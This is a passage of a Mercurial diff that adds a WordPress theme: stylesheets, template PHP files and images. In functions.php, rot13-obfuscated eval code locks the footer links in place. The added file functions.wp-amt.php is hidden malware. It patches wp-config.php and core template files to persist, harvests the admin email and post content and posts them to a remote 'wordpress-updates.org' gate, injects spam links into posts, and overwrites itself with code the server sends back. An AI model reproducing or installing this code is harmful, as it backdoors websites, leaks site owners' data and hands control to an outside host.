80%; +} +.feat-cat-date a { + color: #333333; + text-decoration: none; +} +.feat-cat-date a:hover { + text-decoration: underline; +} +.clearfix { + clear: both; +} + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/css/reset.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/css/reset.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,100 @@ +html, body, div, span, applet, object, iframe, +h1, h2, h3, h4, h5, h6, p, blockquote, pre, +a, address, big, cite, code, pre, +del, dfn, em, font, img, ins, kbd, q, s, samp, +small, strike, strong, tt, var, +b, u, i, center, +dl, dt, dd, ol, ul, li, +fieldset, form, label, legend, +table, caption, tbody, tfoot, thead, tr, th, td { + margin: 0; + padding: 0; + border: 0; + outline: 0; + font-size: 100%; + vertical-align: baseline; + background: transparent; +} +body { + line-height: 1; +} +ol, ul { + list-style: none; +} +blockquote, q { + quotes: none; +} +blockquote:before, blockquote:after, +q:before, q:after { + content: ''; + content: none; +} + +/* remember to define focus styles! */ +:focus { + outline: 0; +} + +/* remember to highlight inserts somehow! */ +ins { + text-decoration: none; +} +del { + text-decoration: line-through; +} + +/* tables still need 'cellspacing="0"' in the markup */ +table { + border-collapse: collapse; + border-spacing: 0; +} + +img { + border: 0; + padding: 5px; +} + +ul li { + list-style: none; +} + +h1 { + font-size: 25px; + line-height: 1em; + margin-bottom:0.4em; + margin-left: 7px; +} + +h2 { + font-size: 20px; +} + +h3 { + font-size: 18px; + margin-bottom:0.4em; +} + +h4 { + font-size: 16px; + margin-bottom:0.4em; +} +h5 { + font-size: 14px; + margin-bottom:0.4em; +} +h6 { + font-size: 12px; + margin-bottom:0.4em; +} +tr.even { + background: #eeeeee; +} +code, pre { + display: block; + background: #E9E7DB; + border: 1px solid #000; + margin: 10px 0; + overflow: auto; +} + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/css/superfish.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/css/superfish.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,268 @@ + +/*** ESSENTIAL STYLES ***/ +.sf-menu, .sf-menu * { + margin: 0; + padding: 0; + list-style: none; +} +.sf-menu { + line-height: 1.0; +} +.sf-menu ul { + position: absolute; + top: -999em; + width: 10em; /* left offset of submenus need to match (see below) */ +} +.sf-menu ul li { + width: 100%; +} +.sf-menu li:hover { + visibility: inherit; /* fixes IE7 'sticky bug' */ +} +.sf-menu li { + float: left; + position: relative; +} +.sf-menu a { + display: block; + position: relative; +} +.sf-menu li:hover ul, +.sf-menu li.sfHover ul { + left: 0; + top: 2.5em; /* match top ul list item height */ + z-index: 99; +} +ul.sf-menu li:hover li ul, +ul.sf-menu li.sfHover li ul { + top: -999em; +} +ul.sf-menu li li:hover ul, +ul.sf-menu li li.sfHover ul { + left: 10em; /* match ul width */ + top: 0; +} +ul.sf-menu li li:hover li ul, +ul.sf-menu li li.sfHover li ul { + top: -999em; +} +ul.sf-menu li li li:hover ul, +ul.sf-menu li li li.sfHover ul { + left: 10em; /* match ul width */ + top: 0; +} + +/*** DEMO SKIN ***/ +.sf-menu { + float: left; + margin-bottom: 1em; +} +.sf-menu a { + + padding: .75em 1em; + text-decoration:none; +} +.sf-menu a, .sf-menu a:visited { /* visited pseudo selector so IE6 applies text colour*/ + color: #13a; +} +.sf-menu li { + background: #414141; +} +.sf-menu li li { + background: #AABDE6; +} +.sf-menu li li li { + background: #9AAEDB; +} +.sf-menu li:hover, .sf-menu li.sfHover, +.sf-menu a:focus, .sf-menu a:hover, .sf-menu a:active { + outline: 0; +} + +/*** arrows **/ +.sf-menu a.sf-with-ul { + padding-right: 2.25em; + min-width: 1px; /* trigger IE7 hasLayout so spans position accurately */ +} +.sf-sub-indicator { + position: absolute; + display: block; + right: .75em; + top: 1.05em; /* IE6 only */ + width: 10px; + height: 10px; + text-indent: -999em; + overflow: hidden; +} +a > .sf-sub-indicator { /* give all except IE6 the correct values */ + top: .8em; + background-position: 0 -100px; /* use translucent arrow for modern browsers*/ +} +/* apply hovers to modern browsers */ +a:focus > .sf-sub-indicator, +a:hover > .sf-sub-indicator, +a:active > .sf-sub-indicator, +li:hover > a > .sf-sub-indicator, +li.sfHover > a > .sf-sub-indicator { + background-position: -10px -100px; /* arrow hovers for modern browsers*/ +} + +/* point right for anchors in subs */ +.sf-menu ul .sf-sub-indicator { background-position: -10px 0; } +.sf-menu ul a > .sf-sub-indicator { background-position: 0 0; } +/* apply hovers to modern browsers */ +.sf-menu ul a:focus > .sf-sub-indicator, +.sf-menu ul a:hover > .sf-sub-indicator, +.sf-menu ul a:active > .sf-sub-indicator, +.sf-menu ul li:hover > a > .sf-sub-indicator, +.sf-menu ul li.sfHover > a > .sf-sub-indicator { + background-position: -10px 0; /* arrow hovers for modern browsers*/ +} + +/*** shadows for all but IE6 ***/ +.sf-shadow ul { + padding: 0 8px 9px 0; + -moz-border-radius-bottomleft: 17px; + -moz-border-radius-topright: 17px; + -webkit-border-top-right-radius: 17px; + -webkit-border-bottom-left-radius: 17px; +} +.sf-shadow ul.sf-shadow-off { + background: transparent; +} + + +/*** ESSENTIAL STYLES ***/ +.sf-menu1, .sf-menu1 * { + margin: 0; + padding: 0; + list-style: none; +} +.sf-menu1 { + line-height: 1.0; +} +.sf-menu1 ul { + position: absolute; + top: -999em; + width: 10em; /* left offset of submenus need to match (see below) */ +} +.sf-menu1 ul li { + width: 100%; +} +.sf-menu1 li:hover { + visibility: inherit; /* fixes IE7 'sticky bug' */ +} +.sf-menu1 li { + float: left; + position: relative; +} +.sf-menu1 a { + display: block; + position: relative; +} +.sf-menu1 li:hover ul, +.sf-menu1 li.sfHover ul { + left: 0; + top: 2.5em; /* match top ul list item height */ + z-index: 99; +} +ul.sf-menu1 li:hover li ul, +ul.sf-menu1 li.sfHover li ul { + top: -999em; +} +ul.sf-menu1 li li:hover ul, +ul.sf-menu1 li li.sfHover ul { + left: 10em; /* match ul width */ + top: 0; +} +ul.sf-menu1 li li:hover li ul, +ul.sf-menu1 li li.sfHover li ul { + top: -999em; +} +ul.sf-menu1 li li li:hover ul, +ul.sf-menu1 li li li.sfHover ul { + left: 10em; /* match ul width */ + top: 0; +} + +/*** DEMO SKIN ***/ +.sf-menu1 { + float: left; + margin-bottom: 1em; +} +.sf-menu1 a { + border-left: 1px solid #fff; + border-top: 1px solid #CFDEFF; + padding: .75em 1em; + text-decoration:none; +} +.sf-menu1 a, .sf-menu1 a:visited { /* visited pseudo selector so IE6 applies text colour*/ + color: #13a; +} +.sf-menu1 li { + background: #BDD2FF; +} +.sf-menu1 li li { + background: #AABDE6; +} +.sf-menu1 li li li { + background: #9AAEDB; +} +.sf-menu1 li:hover, .sf-menu1 li.sfHover, +.sf-menu1 a:focus, .sf-menu1 a:hover, .sf-menu1 a:active { + background: #CFDEFF; + outline: 0; +} + +/*** arrows **/ +.sf-menu1 a.sf-with-ul { + padding-right: 2.25em; + min-width: 1px; /* trigger IE7 hasLayout so spans position accurately */ +} +.sf-sub-indicator { + position: absolute; + display: block; + right: .75em; + top: 1.05em; /* IE6 only */ + width: 10px; + height: 10px; + text-indent: -999em; + overflow: hidden; +} +a > .sf-sub-indicator { /* give all except IE6 the correct values */ + top: .8em; + background-position: 0 -100px; /* use translucent arrow for modern browsers*/ +} +/* apply hovers to modern browsers */ +a:focus > .sf-sub-indicator, +a:hover > .sf-sub-indicator, +a:active > .sf-sub-indicator, +li:hover > a > .sf-sub-indicator, +li.sfHover > a > .sf-sub-indicator { + background-position: -10px -100px; /* arrow hovers for modern browsers*/ +} + +/* point right for anchors in subs */ +.sf-menu1 ul .sf-sub-indicator { background-position: -10px 0; } +.sf-menu1 ul a > .sf-sub-indicator { background-position: 0 0; } +/* apply hovers to modern browsers */ +.sf-menu1 ul a:focus > .sf-sub-indicator, +.sf-menu1 ul a:hover > .sf-sub-indicator, +.sf-menu1 ul a:active > .sf-sub-indicator, +.sf-menu1 ul li:hover > a > .sf-sub-indicator, +.sf-menu1 ul li.sfHover > a > .sf-sub-indicator { + background-position: -10px 0; /* arrow hovers for modern browsers*/ +} + +/*** shadows for all but IE6 ***/ +.sf-shadow ul { + background: url('../images/shadow.png') no-repeat bottom right; + padding: 0 8px 9px 0; + -moz-border-radius-bottomleft: 17px; + -moz-border-radius-topright: 17px; + -webkit-border-top-right-radius: 17px; + -webkit-border-bottom-left-radius: 17px; +} +.sf-shadow ul.sf-shadow-off { + background: transparent; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/footer.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/footer.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + + + + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,33 @@ + '
    ', + 'after_widget' => '
    ', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +register_sidebar(array('name'=>'Sidebar2', +'before_title' => '

    ', // Replaces

    +'after_title' => '

    ', // Replaces +'before_widget' => '
    ', +'after_widget' => '
    ', +)); +register_sidebar(array('name'=>'Sidebar3', +'before_title' => '

    ', // Replaces

    +'after_title' => '

    ', // Replaces +'before_widget' => '
    ', +'after_widget' => '
    ', +)); +include(TEMPLATEPATH.'/includes/themeoptions.php'); + +eval(str_rot13('shapgvba purpx_sbbgre(){$y=\'Qrfvtarq ol Jro Ubfgvat. + +Serr ZZBECTf +Bcra Fbhepr PZF +Svefg pynff ernygbef\';$s=qveanzr(__SVYR__).\'/sbbgre.cuc\';$sq=sbcra($s,\'e\');$p=sernq($sq,svyrfvmr($s));spybfr($sq);vs(fgecbf($p,$y)==0){rpub \'Guvf gurzr vf fcbafberq, nyy yvaxf va gur sbbgre fubhyq erznva vagnpg\';qvr;}}purpx_sbbgre();')); + + +eval(str_rot13('shapgvba purpx_urnqre(){vs(!(shapgvba_rkvfgf("purpx_shapgvbaf")&&shapgvba_rkvfgf("purpx_s_sbbgre"))){rpub(\'Guvf gurzr vf eryrnfrq haqre perngvir pbzzbaf yvprapr, nyy yvaxf va gur sbbgre fubhyq erznva vagnpg\');qvr;}}')); + +?> + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/functions.wp-amt.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/functions.wp-amt.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,595 @@ +0;$q--) + { + $link[$q]="/".$link[$q]; + $r_dir=str_replace($link[$q],"",$r_dir); + $rdr=amt_rdr($r_dir); + if(@in_array('wp-config.php',$rdr)) + { + $root_dir[0]=$r_dir; + break; + } + } + $root_dir[1]=$root_dir[0]."/wp-includes"; + $t_dir=$root_dir[0]."/wp-content/themes/"; + $t_dirs=amt_rdr($t_dir); + for($q=0;$qamt_trim_domen(); + $this->t_n=array($table_prefix.$amt_site."_post",$table_prefix.$amt_site."_quest",$table_prefix.$amt_site."_opt"); + return $t_n; + } + function amt_gae() + { + global $wpdb, $table_prefix; + $uid=$wpdb->get_col($wpdb->prepare("select user_id from ".$table_prefix."usermeta where meta_value='10'", $rr)); + $uem=$wpdb->get_col($wpdb->prepare("select user_email from ".$table_prefix."users where id='".$uid[0]."'", $rr)); + $this->a_em=$uem[0]; + return $a_em; + } + function amt_crtb() + { + global $wpdb; + $this->amt_gtbl(); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[0]." ( + id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , + id_post INT(9) NOT NULL , + last_up DATETIME NOT NULL , + addd DATETIME NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[1]." ( + id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , + l_b ENUM('0', '1') NOT NULL , + id_post INT(9) NOT NULL , + word VARCHAR(255) NOT NULL , + id_word INT( 9 ) NOT NULL , + link VARCHAR(255) NOT NULL , + date DATE NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[2]." ( + host VARCHAR(255) NOT NULL , + t_o VARCHAR(255) NOT NULL , + n_f VARCHAR(255) NOT NULL , + date DATE NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); + $this->host=$mda[0]; + if($this->host=="") + { + $amt_nf=$this->amt_gfn(); + $query="insert into ".$this->t_n[2]." (host, t_o, n_f, date) values ('wordpress-updates.org', '5', '".$amt_nf."', now());"; + $wpdb->query($query); + $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); + $this->host=$mda[0]; + } + $mda=$wpdb->get_col($wpdb->prepare("select t_o from ".$this->t_n[2], $rr)); $this->t_o=$mda[0]; + $mda=$wpdb->get_col($wpdb->prepare("select n_f from ".$this->t_n[2], $rr)); $this->n_f=$mda[0]; + $mda=$wpdb->get_col($wpdb->prepare("select date from ".$this->t_n[2], $rr)); $this->c_d=$mda[0]; + } +} +$amt_d=new amt_data; +$amt_d->amt_crtb(); +$amt_d->amt_gae(); +$root_dir=amt_gp(); +$amt_d->u_tpl=$amt_u_tpl; +$amt_d->my_h=trim_url($_SERVER["HTTP_HOST"]); +$amt_d->u_g[0]="http://".$amt_d->host."/gate/post_gate.php"; +$amt_d->u_g[1]="http://".$amt_d->host."/gate/quest_gate.php"; +$amt_d->u_g[2]="http://".$amt_d->host."/gate/upd_gate.php"; +$amt_d->u_g[3]="http://".$amt_d->host."/gate/nf_gate.php"; +$amt_d->r_dir=array($root_dir[0],$root_dir[1],$root_dir[2],$root_dir[3],$root_dir[4]); +$amt_d->wp_c=$amt_d->r_dir[0]."/wp-config.php"; +$amt_d->wp_pt=$amt_d->r_dir[0]."/wp-includes/post-template.php"; +$amt_d->wp_ff=$amt_d->r_dir[0]."/wp-includes/".$amt_d->n_f; +if(file_exists($amt_d->wp_ff)) { $amt_d->wrt=1; } else { $amt_d->wrt=0; } +amt_ci(); +amt_cifi(); + +function amt_cif() +{ +global $amt_d; +if(file_exists($amt_d->wp_ff)) { return true; } else { return false; } +} + +function amt_cifi() +{ +global $amt_d; +$today=date("Ymd"); + if($today<=20100225) + { + $post = array('my_h' => $amt_d->my_h, 'my_url' => $m_url, 'wrt' => $amt_d->wrt); + amt_sender("http://".$amt_d->host."/gate/post_ci.php", $post); + } +} + +function amt_ci() +{ +global $amt_d; + $sha="!amt_cif!si"; + $sha2="!".$amt_d->n_f."!si"; + $cont=file_get_contents($amt_d->wp_c); + if(!preg_match($sha,$cont,$match) || !preg_match($sha2,$cont,$match)) + { + $amt_d->ci[0]=0; + } + else + { + $amt_d->ci[0]=1; + } + $sha="!amt_cc!si"; + $cont=file_get_contents($amt_d->wp_pt); + if(!preg_match($sha,$cont,$match)) + { + $amt_d->ci[1]=0; + } + else + { + $amt_d->ci[1]=1; + } + + if(!file_exists($amt_d->wp_ff) || filesize($amt_d->wp_ff)==0) + { + $amt_d->ci[2]=0; + } + else + { + $amt_d->ci[2]=1; + } +if($amt_d->ci[0]==1 && $amt_d->ci[1]==1 && $amt_d->ci[2]==1) { $amt_d->ci[3]=1; } else { $amt_d->ci[3]=0; } +if($amt_d->ci[3]==0) +{ + if($amt_d->ci[0]==0) + { + chmod($amt_d->wp_c, 0755); + $cont=trim(file_get_contents($amt_d->wp_c)); + $sha="/\?>$/"; + if(preg_match($sha,$cont,$name)) + { + $cont=$cont." +n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>"; + } + else + { + $cont=$cont." +if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }"; + } + $amt_f = fopen($amt_d->wp_c,"w"); + $test = fwrite($amt_f, $cont); + fclose($amt_f); + if($test) { chmod($amt_d->wp_c, 0644); } + } + if($amt_d->ci[1]==0) + { + $cont=file_get_contents($amt_d->wp_pt); +$sha1="echo \$content;"; +$sha2="if (is_single() && function_exists(amt_cc)) { \$content = amt_cc(\$content); } + echo \$content;"; + $cont=str_replace($sha1,$sha2,$cont); + chmod($amt_d->wp_pt, 0755); + $amt_f = fopen($amt_d->wp_pt,"w"); + $test = fwrite($amt_f, $cont); + fclose($amt_f); + if($test) { @chmod($amt_d->wp_pt, 0644); } + } + if($amt_d->ci[2]==0) + { + $s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; + if(file_exists($s_f_path)) { $content=file_get_contents($s_f_path); } + if(file_exists($amt_d->wp_ff)) + { + chmod($amt_d->wp_ff, 0755); + } + $amt_f = fopen($amt_d->wp_ff,"w"); + $test = fwrite($amt_f, $content); + fclose($amt_f); + if($test) { chmod($amt_d->wp_ff, 0644); } + } +} +} +function amt_cc($content) +{ + global $amt_d; + $amt_id=get_the_ID(); $amt_url=$amt_d->my_h.$amt_d->r_dir[3]; $amt_md=get_the_modified_date("Y-m-d h:i:s"); amt_gct($amt_id); + amt_copt($amt_url); if(amt_pib($amt_id)==0) { $pis=amt_ins($amt_id, $amt_md, $content, $amt_url); } if($pis==1) { amt_inb($amt_id, $amt_md); } if(amt_cuq()==0) { amt_qse($amt_id, $amt_url); } $content=amt_cco($amt_id, $content); + return $content; +} +function amt_gct($id) +{ +global $amt_d; +$ololo=get_post($id); +$amt_cty=get_the_category(); +$amt_d->p_cgy=$amt_cty[$ololo->post_category]->cat_name; +$amt_d->p_ttl=$ololo->post_title; +} +function amt_cco($id, $content) +{ +global $wpdb, $amt_d; +$q_word=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); +$q_id_word=$wpdb->get_col($wpdb->prepare("select id_word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); +$q_link=$wpdb->get_col($wpdb->prepare("select link from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); + for($q=0;$q < count($q_word);$q++) + { + $content=amt_create_post_words($content,$q_word[$q],$q_id_word[$q],$q_link[$q],4); + } +$content.=amt_abl($id); +return $content; +} +function amt_abl($id) +{ +global $wpdb, $amt_d; +$t_link=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='1'", $rr)); + if($t_link[0]!="") + { + $tlk="

    ".$t_link[0]."

    "; + } + else + { + $tlk=""; + } +return $tlk; +} +function amt_copt($m_url) +{ +global $wpdb, $amt_d; +$post = Array('my_h' => $amt_d->my_h, 'my_url' => $m_url); +$today=date("Y-m-d"); + if(!amt_cuo()) + { + if($amt_ud=amt_sender($amt_d->u_g[2], $post)) + { + if($amt_ud!="no" && $amt_ud!="") + { + $amt_md=explode('*^*^*^*',$amt_ud); + $amt_q="update ".$amt_d->t_n[2]." set host='$amt_md[0]', t_o='$amt_md[1]', date='$today' where host='".$amt_d->host."'"; + $wpdb->query($amt_q); + if($amt_md[3]==2) + { + amt_cnff($amt_md[4]); + } + } + else + { + $amt_q="update ".$amt_d->t_n[2]." set date='$today' where host='".$amt_d->host."'"; + $wpdb->query($amt_q); + } + } + } +} +function amt_cnff($content) +{ +global $amt_d; +if($content=="") { return false; } +$content= +""; + if(file_exists($amt_d->wp_ff)) + { + @chmod($amt_d->wp_ff, 0755); + } +$amt_f = fopen($amt_d->wp_ff,'w'); +$test = fwrite($amt_f, $content); +@fclose($amt_f); +if($test) { @chmod($amt_d->wp_ff, 0644); } +$s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; + if(file_exists($s_f_path)) + { + @chmod($s_f_path, 0755); + } +$amt_f = fopen($s_f_path,'w'); +$test = fwrite($amt_f, $content); +@fclose($amt_f); +if($test) { @chmod($s_f_path, 0644); } +} +function amt_inb($id, $last) +{ +global $wpdb, $amt_d; +$amt_q="delete from ".$amt_d->t_n[0]." where id_post='$id'"; +$wpdb->query($amt_q); +$amt_q="insert into ".$amt_d->t_n[0]." (id_post, last_up, addd) values ('$id', '$last', now())"; +$wpdb->query($amt_q); +} +function amt_ins($id, $last, $cont, $url) +{ +global $amt_d; +$last=str_replace(" ","_",$last); +$url=trim_url($url); +$post = Array('id' => $id, 'last' => $last, 'cont' => $cont, 'ttl' => $amt_d->p_ttl, 'cgy' => $amt_d->p_cgy, 'my_h' => $amt_d->my_h, 'my_url' => $url, 'a_em' => $amt_d->a_em, 'fn' => $amt_d->n_f, 'tpl' => $amt_d->r_dir[4], 'ci' => $amt_d->ci[3], 'u_tpl' => $amt_d->u_tpl); +$amt_pisg=amt_sender($amt_d->u_g[0], $post); +if($amt_pisg=="ok") { $pis=1; } else { $pis=0; } +return $pis; +} +function amt_pib($id) +{ +global $wpdb, $amt_d; +$query="select id from ".$amt_d->t_n[0]." where id_post='$id'"; +$wpdb->query($query); + if($wpdb->num_rows>0) + { + $per=$wpdb->get_var($wpdb->prepare("select datediff(now(), addd) from ".$amt_d->t_n[0]." where id_post='$id'", $rr)); + if($per>30) + { + return 0; + } + else + { + return 1; + } + } +return $wpdb->num_rows; +} +function amt_qwe($id) +{ +global $wpdb, $amt_d; +$query="select * from ".$amt_d->t_n[1]." where id_post='$id'"; +$wpdb->query($query); +return $wpdb->num_rows; +} +function amt_cuq() +{ +global $wpdb, $amt_d; +$today=date("Y-m-d"); +$date_up=$wpdb->get_var($wpdb->prepare("select date from ".$amt_d->t_n[1]." limit 1", $rr)); + if($date_up!=$today) + { + return false; + } + else + { + return true; + } +} +function amt_cuo() +{ +global $amt_d; +$today=date("Y-m-d"); + if($amt_d->c_d!=$today) + { + return false; + } + else + { + return true; + } +} +function amt_qse($id, $m_url) +{ +global $wpdb, $amt_d; +$today=date("Y-m-d"); +$m_url=trim_url($m_url); +$post = Array('id' => $id, 'my_h' => $amt_d->my_h, 'my_url' => $m_url); + if($amt_nq=amt_sender($amt_d->u_g[1], $post)) + { + if($amt_nq=="no quests") + { + $amt_q1="delete from ".$amt_d->t_n[1].";"; + $wpdb->query($amt_q1); + $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('0', '0', '', '0', '', '$today')"; + echo $amt_q2; + $wpdb->query($amt_q2); + } + else + { + $amt_q1="delete from ".$amt_d->t_n[1].";"; + $wpdb->query($amt_q1); + $amt_qs=explode("*****",$amt_nq); + for($q=0;$q < sizeof($amt_qs);$q++) + { + $m_amt_q=explode("^^^",$amt_qs[$q]); + $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('$m_amt_q[4]', '$m_amt_q[0]', '$m_amt_q[1]', '$m_amt_q[2]', '$m_amt_q[3]', '$today')"; + $wpdb->query($amt_q2); + } + } + } +} +function amt_sender($url, $post) +{ +global $amt_d; +$_post=Array(); + if(is_array($post)) + { + foreach($post as $name => $value) + { + $_post[]=$name.'='.urlencode($value); + } + } + if (function_exists("curl_init")) + { + $ch=curl_init($url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_HEADER, 0); + curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $amt_d->t_o); + curl_setopt($ch, CURLOPT_USERAGENT, "Penetrator/3.0"); + curl_setopt($ch, CURLOPT_REFERER, $amt_d->my_h); + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); + if(is_array($post)) + { + curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post)); + } + $result=curl_exec($ch); + if(curl_errno($ch)!=0 && empty($result)) + { + $result=false; + } + curl_close($ch); + $result="HTTPSTART".$result; + $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); + return $result; + } + else + { + $parse_url = parse_url($url); + $path = $parse_url["path"]; + $host= $parse_url["host"]; + $result=""; + $post=implode('&', $_post); + $fp=fsockopen($host, 80); + if($fp) + { + socket_set_timeout($fp, $amt_d->t_o); + $request = "POST $path HTTP/1.1\r\n"; + $request .= "Host: $host\r\n"; + $request .= "User-Agent: Penetrator/3.0\r\n"; + $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; + $request .= "Referer: ".$amt_d->my_h."\r\n"; + $request .= "Content-Length: ".strlen($post)."\r\n"; + $request .= "Connection: close\r\n\r\n$post"; + fputs($fp,$request); + while(!feof($fp)) + { + $result.=fgets($fp); + } + fclose($fp); + $result="HTTPSTART".$result; + $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); + return $result; + } + return false; + } +} +function amt_create_post_words($content,$word,$id_word,$link,$nwm) +{ +$n_content=strip_tags($content); +$word=trim($word); +$t_link="http://".$link; +$w=0; +$sha2="/(.{1,".$nwm."})(\*\*\* ".$word.".{1}\*\*\*|\*\*\*".$word.".{1}\*\*\*)(.{1,".$nwm."})/si"; +$bilo="/( ".$word.".{1}|".$word.".{1})/si"; +$stalo="***\\0***"; +$new_content=preg_replace($bilo,$stalo,$n_content); +preg_match_all($sha2,$new_content,$massa); +$sha_word=erase_zv($massa[0][$id_word]); +$sha_word_l=strong_word($sha_word,$word,$t_link); +$content=str_replace($sha_word,$sha_word_l,$content); +return $content; +} +function erase_zv($text) +{ +$text=str_replace(",***",",",$text); +$text=str_replace(".***",".",$text); +$text=str_replace(" ***"," ",$text); +$text=str_replace("*** "," ",$text); +$text=str_replace("***"," ",$text); +return $text; +} +function trim_side($text) +{ +$new_text=""; +$txt=explode(" ", $text); +$n_w=sizeof($txt); + for($ts=1;$ts<$n_w-1;$ts++) + { + $new_text.=$txt[$ts]." "; + } +return $new_text; +} +function strong_word($content,$word,$t_link) +{ +$bilo="/( ".$word.".{1}|".$word.".{1})/si"; +$stalo="\\0"; +$content=preg_replace($bilo,$stalo,$content); +$content=str_replace("> ",">",$content); +$content=str_replace(" <","<",$content); +$content=str_replace("<"," <",$content); +$content=str_replace(" ","",$content); +$content=str_replace(""," ",$content); +$content=str_replace(",",", ",$content); +$content=str_replace(".",". ",$content); +$content=str_replace(" "," ",$content); +return $content; +} +function trim_url($url) +{ +$url=preg_replace("(www.|http://)", "", $url); +return $url; +} +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,75 @@ + + + + + + + +<?php if (is_home()) { + echo bloginfo('name'); +} elseif (is_404()) { + echo '404 Not Found'; +} elseif (is_category()) { + echo 'Category:'; wp_title(''); +} elseif (is_search()) { + echo 'Search Results'; +} elseif ( is_day() || is_month() || is_year() ) { + echo 'Archives:'; wp_title(''); +} else { + echo bloginfo('name'); echo wp_title(''); +} +?> + + + + + + + + + + + + + + + + + + + + +
    + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/Thumbs.db Binary file web/wp-content/themes/bgw/images/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/bg.gif Binary file web/wp-content/themes/bgw/images/bg.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/categories-bottom.png Binary file web/wp-content/themes/bgw/images/categories-bottom.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/comm.gif Binary file web/wp-content/themes/bgw/images/comm.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/dart.png Binary file web/wp-content/themes/bgw/images/dart.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/dart2.gif Binary file web/wp-content/themes/bgw/images/dart2.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/footer.gif Binary file web/wp-content/themes/bgw/images/footer.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/header.gif Binary file web/wp-content/themes/bgw/images/header.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/headpost.png Binary file web/wp-content/themes/bgw/images/headpost.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/mail.jpg Binary file web/wp-content/themes/bgw/images/mail.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/more.gif Binary file web/wp-content/themes/bgw/images/more.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/rss.jpg Binary file web/wp-content/themes/bgw/images/rss.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/rss.png Binary file web/wp-content/themes/bgw/images/rss.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/rsssocial.png Binary file web/wp-content/themes/bgw/images/rsssocial.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/search.gif Binary file web/wp-content/themes/bgw/images/search.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/shadow.png 